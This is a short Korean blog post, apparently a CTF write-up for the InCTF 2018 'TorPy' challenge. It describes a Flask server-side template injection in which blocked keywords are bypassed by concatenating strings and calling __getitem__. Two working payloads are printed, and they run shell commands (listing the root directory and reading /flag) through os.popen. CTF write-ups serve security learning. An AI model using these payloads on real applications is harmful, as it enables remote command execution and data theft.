InCTF 2018 TorPy

CTF/Writeup 2018. 10. 8. 11:05

문제에 들어가보면 별다른 기능은 없고 name파라미터에 값을 넣어서 요청하면 응답 값 주석 내에 해당 값이 출력되는데 여기서 flask SSTI가 터진다.


필터링되어있는 구문을 보면 대충 아래와 같은데 상당히 조건이 까다로웠다.


filter ex) [ , ] , class , builtins , request , attr , app , url_for , config , file 등..


특수문자같은경우 대괄호 제외하고는 필터되는게 없었고 키워드같은경우는 상당히 다양하게 필터가 되어있는 상황이었다.


여러가지 테스트해본 결과 self , __dict__ , get_flashed_messages , session 정도가 필터링이 되지 않고있었는데 실제로 사용해보면 500에러가 터지면서 제대로 사용이 안되었고 추가로 좀 더 삽질을 하다가 getitem이 먹히고 있어서 아래와 같이 적절히 필터우회해서 플래그를 찾았다.


{{globals().__getitem__('__builti''ns__').__getitem__('ev''al')('__imp''ort__')('o''s').__dict__.__getitem__('po''pen')('ls%20-al%20/').read()}}


{{globals().__getitem__('__builti''ns__').__getitem__('ev''al')('__imp''ort__')('o''s').__dict__.__getitem__('po''pen')('cat%20/flag').read()}}



'CTF > Writeup' 카테고리의 다른 글

BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
InCTF 2018 WildCat  (0) 2018.10.08
InCTF 2018 S3cur3 Bank  (0) 2018.10.08
InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,